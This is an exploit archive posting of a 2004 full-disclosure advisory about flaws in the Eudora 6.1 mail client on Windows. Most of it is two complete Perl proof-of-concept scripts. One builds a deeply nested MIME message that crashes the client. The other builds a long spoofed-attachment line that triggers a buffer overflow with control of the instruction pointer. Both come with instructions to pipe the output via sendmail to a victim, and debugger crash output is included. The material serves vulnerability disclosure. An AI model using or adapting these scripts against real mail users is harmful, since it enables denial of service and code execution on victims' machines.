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eudora61.pl

eudora61.pl
Posted Apr 20, 2004
Authored by Paul Szabo

Eudora 6.1 still has attachment spoofing flaws along with a Nested MIME DoS vulnerability.

tags | exploit, denial of service, spoof
SHA-256 | d3024ea6787aa72ecd301f863e452c672b83f691a325455dd8c7f5b291042e9a

eudora61.pl

Change Mirror Download
Eudora 6.1 on Windows is evil - have tested "Light Mode" (free) only so
far, do not know if "Sponsored Mode" or "Paid Mode" would be any different.
(Do not use: stay away from Eudora, or maybe use version 6.0.3.)

---

Attachment spoof, LaunchProtect:

http://lists.netsys.com/pipermail/full-disclosure/2004-March/018897.html

Works (i.e. broken) same as the 6.0.3 version.

---

Nested MIME DoS:

http://lists.netsys.com/pipermail/full-disclosure/2004-April/020075.html

Works "better" than the 6.0.3 version, crashes at 580 levels:

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: nested multipart test\n";
print "Mime-Version: 1.0\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n";
&nest(0);
print "\n";
#
sub nest {
my ($x) = @_;
my $b = sprintf("bndry%04d",$x);
print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";
print "--$b\n";
print "Content-Type: text/plain\n\n";
print "Level $x\n\n";
# No problem for 570, but crash for 580 deep nesting:
#
# (444.458): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=00033494 edi=62000000
# eip=77f862ed esp=00032afc ebp=0003339c iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
# ntdll!LdrLoadAlternateResourceModule+9:
# 77f862ed 53 push ebx
if ($x < 580) {
print "--$b\n";
&nest($x+1);
}
print "--$b\n";
print "Content-Type: text/plain\n\n";
print "Final $x\n";
print "--$b--\n\n";
}

---

"Long attachment spoof" execute-any-code bug:

http://lists.netsys.com/pipermail/full-disclosure/2003-September/010029.html

from version 6.0 and previous (but apparently fixed in 6.0.1 and 6.0.3) is
back:

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.1 buffer overflow demo\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "Long spoofed attachments cause an exploitable buffer overflow:\n";
# (298.40c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=800403e9 ebx=00000005 ecx=41414141 edx=00a22040 esi=00002966 edi=026a65b4
# eip=41414141 esp=0012f65c ebp=41414141 iopl=0 nv up ei ng nz ac pe cy
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
# 41414141 ?? ???
print "Attachment Converted\r: ", "A"x300,"\n\n";

---

Cheers,

Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
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